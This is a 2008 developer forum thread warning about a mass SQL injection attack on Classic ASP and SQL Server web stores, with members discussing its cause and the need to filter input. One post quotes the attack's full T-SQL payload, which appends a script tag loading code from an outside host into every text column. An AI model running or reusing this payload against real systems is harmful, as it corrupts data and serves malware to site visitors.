Dev Shed Lounge
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me
Go Back   Dev Shed ForumsOtherDev Shed Lounge

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Rate Thread Display Modes
 
Unread Dev Shed Forums Sponsor:
A high performance database engine using optimized data access for all development environments including Delphi, Visual Studio .NET, Visual Basic, Visual FoxPro. and more. Learn More
  #1  
Old April 15th, 2008, 09:49 AM
MDesigner MDesigner is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Apr 2008
Posts: 3 MDesigner Negative: is most likely a SPAMMER and a traitor to the cause. 
Time spent in forums: 31 m 41 sec
Reputation Power: 0
WARNING - SQL injection attack going around

This morning I found one of our company web stores is lagging. Turns out it's because there are all these <script> links leading to aspder.com.. pointing at a file called "1.js".. and that site is currently down.

Looks like we got hacked. I did a Google search for aspder.com and TONS of other stores have that script tag inserted into their product data.

Anyone know anything about this? Is this a vulnerability in our store software or is it a vulnerability in Microsoft's stuff somehow? (Win2003 Server, SQL Server 2005, IIS 6, ASP classic).

Any info would be appreciated!

Reply With Quote
  #2  
Old April 15th, 2008, 10:15 AM
MDesigner MDesigner is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Apr 2008
Posts: 3 MDesigner Negative: is most likely a SPAMMER and a traitor to the cause. 
Time spent in forums: 31 m 41 sec
Reputation Power: 0
Yep, sure enough:

malwaredomains.com/?p=156

Reply With Quote
  #3  
Old April 15th, 2008, 01:49 PM
f'lar's Avatar
f'lar f'lar is offline
Senior WeyrLeader
Click here for more information
 
Join Date: Aug 2003
Location: WI
Posts: 3,606 f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level) 
Time spent in forums: 1 Month 1 Week 1 Day 11 h 24 m 45 sec
Reputation Power: 589
Send a message via Google Talk to f'lar
Here's a link to another forum with more info:
http://www.webhostingtalk.com/showthread.php?t=686032

It is an sql injection attack targeted at sql server and asp, but you'd have to leave your site pretty open to be vulnerable. Page 2 of that link shows the actual sql executed:
Code:
DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.aspder.com/1.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor
It's kind of funny: the author is obviously crunched for space and is writing an attack, but takes the time to deallocate his cursor, uses longhand 'OR's rather than IN() for his column types, and had a long name for the cursor. He could have easily shaved another 100 bytes off.

As to the question: I'd put the blame more on the store stuff. The programmers should know better than to send unfiltered input to a database.
Comments on this post
sizablegrin agrees: Dead on. If you're getting screwed by kindergaten stuff, you're not too bright.
__________________
Primary Forums: .Net Development, MS-SQL, C Programming
VB.Net: It's not your father's Visual Basic.

[Moving to ASP.Net] | [.Net Dos and Don't for VB6 Programmers]

Reply With Quote
  #4  
Old April 15th, 2008, 03:06 PM
MDesigner MDesigner is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Apr 2008
Posts: 3 MDesigner Negative: is most likely a SPAMMER and a traitor to the cause. 
Time spent in forums: 31 m 41 sec
Reputation Power: 0
Thanks for the response.

And to sizablegrin: thanks for the completely useless comment that contributes absolutely nothing to the discussion.
Comments on this post
sizablegrin disagrees: You're entirely welcome. Useless comments are less damaging than useless code.

Reply With Quote
  #5  
Old April 15th, 2008, 03:54 PM
MBirchmeier's Avatar
MBirchmeier MBirchmeier is offline
I <3 ASCII
Dev Shed Regular (2000 - 2499 posts)
 
Join Date: Aug 2003
Location: Wishing i was still at... The Ohio State University
Posts: 2,207 MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level)MBirchmeier User rank is Colonel (50000 - 60000 Reputation Level) 
Time spent in forums: 1 Month 1 Week 4 Days 20 h 53 m 53 sec
Reputation Power: 571
Send a message via AIM to MBirchmeier Send a message via Yahoo to MBirchmeier
Quote:
Originally Posted by f'lar
Here's a link to another forum with more info:
It's kind of funny: the author is obviously crunched for space and is writing an attack, but takes the time to deallocate his cursor, uses longhand 'OR's rather than IN() for his column types, and had a long name for the cursor. He could have easily shaved another 100 bytes off.


It also seems like his attack might have worked too well. The main reason people seem to be noticing is that things are starting to lag.

Whoever wrote this seems to be ddos-ing themselves out of business.

-MBirchmeier
__________________
I have noticed that the devshed spell check sugggests that MBirchmeier is a misspelling for 'bitchier'.

Apparently even computers have freudian slips.

0x4279 7465 204D 6521

Reply With Quote
  #6  
Old April 15th, 2008, 04:03 PM
f'lar's Avatar
f'lar f'lar is offline
Senior WeyrLeader
Click here for more information
 
Join Date: Aug 2003
Location: WI
Posts: 3,606 f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level) 
Time spent in forums: 1 Month 1 Week 1 Day 11 h 24 m 45 sec
Reputation Power: 589
Send a message via Google Talk to f'lar
I wonder what www.aspdr.com's page rank will be after this? The attack is certainly finding no shortage of poorly coded sites to create the links, most of them are legitimate and a few will have a decent page rank of their own.

Reply With Quote
  #7  
Old April 25th, 2008, 11:40 AM
f'lar's Avatar
f'lar f'lar is offline
Senior WeyrLeader
Click here for more information
 
Join Date: Aug 2003
Location: WI
Posts: 3,606 f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level)f'lar User rank is Colonel (50000 - 60000 Reputation Level) 
Time spent in forums: 1 Month 1 Week 1 Day 11 h 24 m 45 sec
Reputation Power: 589
Send a message via Google Talk to f'lar
Looks like this one made slashdot.

Reply With Quote
  #8  
Old April 25th, 2008, 01:12 PM
Axweildr's Avatar
Axweildr Axweildr is offline
CPAN medic ...
Click here for more information.
 
Join Date: Mar 2003
Location: Location: Location:
Posts: 10,893 Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)Axweildr User rank is General 20th Grade (Above 100000 Reputation Level)  Folding Points: 119844 Folding Title: Super Ultimate Folder - Level 1Folding Points: 119844 Folding Title: Super Ultimate Folder - Level 1Folding Points: 119844 Folding Title: Super Ultimate Folder - Level 1Folding Points: 119844 Folding Title: Super Ultimate Folder - Level 1Folding Points: 119844 Folding Title: Super Ultimate Folder - Level 1Folding Points: 119844 Folding Title: Super Ultimate Folder - Level 1
Time spent in forums: 3 Months 3 Weeks 5 Days 23 h 55 m 10 sec
Reputation Power: 2295
Send a message via Google Talk to Axweildr
Orkut

Obligatory plug for xkcd.com, from the /. art
__________________
--Ax
without exception, there is no rule ...
The great thing about Object Oriented code is that it can make small, simple problems look like large, complex ones


09 F9 11 02
9D 74 E3 5B
D8 41 56 C5
63 56 88 C0
Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems.
-- Jamie Zawinski

Reply With Quote
  #9  
Old April 25th, 2008, 07:42 PM
fishtoprecords's Avatar
fishtoprecords fishtoprecords is offline
Contributing User
Dev Shed Novice (500 - 999 posts)
 
Join Date: Sep 2007
Location: outside Washington DC
Posts: 586 fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level)fishtoprecords User rank is First Lieutenant (10000 - 20000 Reputation Level) 
Time spent in forums: 5 Days 11 h 48 m 19 sec
Reputation Power: 167
Professional must protect against sql injections. And they need to keep up with the security press. This is not new, its just the current one.

Its an arms race. Get used to it.

Someone will do a better job about 'eternal vigilance' as a necessity.

Reply With Quote
Reply

Viewing: Dev Shed ForumsOtherDev Shed Lounge > WARNING - SQL injection attack going around


Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump

 Free IT White Papers!
 
Accelerating Trading Partner Performance
One in five. That's how many partner transactions have at least one error. That is an amazing statistic, particularly given the extraordinary leaps in innovation across the global supply chain during the past two decades. Download this white paper to learn more.

 
Competing on Analytics
This Tech Analysis is designed to help identify characteristics shared by analytics competitors, and includes information about 32 organizations that have made a commitment to quantitative, fact-based analysis.

 
Cost Effective Scaling with Virtualization and Coyote Point Systems
An overview of the industry trend toward virtualization, how server consolidation has increased the importance of application uptime and the steps being taken to integrate load balancing technology with virtualized servers.

 
Five Checkpoints to Implementing IP Telephony
Implementation planning for IP PBX software and IP telephony has become vital as businesses replace discontinued legacy PBX phone systems. This informative whitepaper outlines five "checkpoints" for any implementation plan that will help make IP communications a successful proposition.

 
Hosted Email Security: Staying Ahead of New Threats
In the last two years, email has become a fierce battleground between the nefarious forces of spam and malware, and the heroes of messaging protection. The spam volumes increased alarmingly every month, bringing clever new forms of phishing and virus propagation attacks.

 

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support |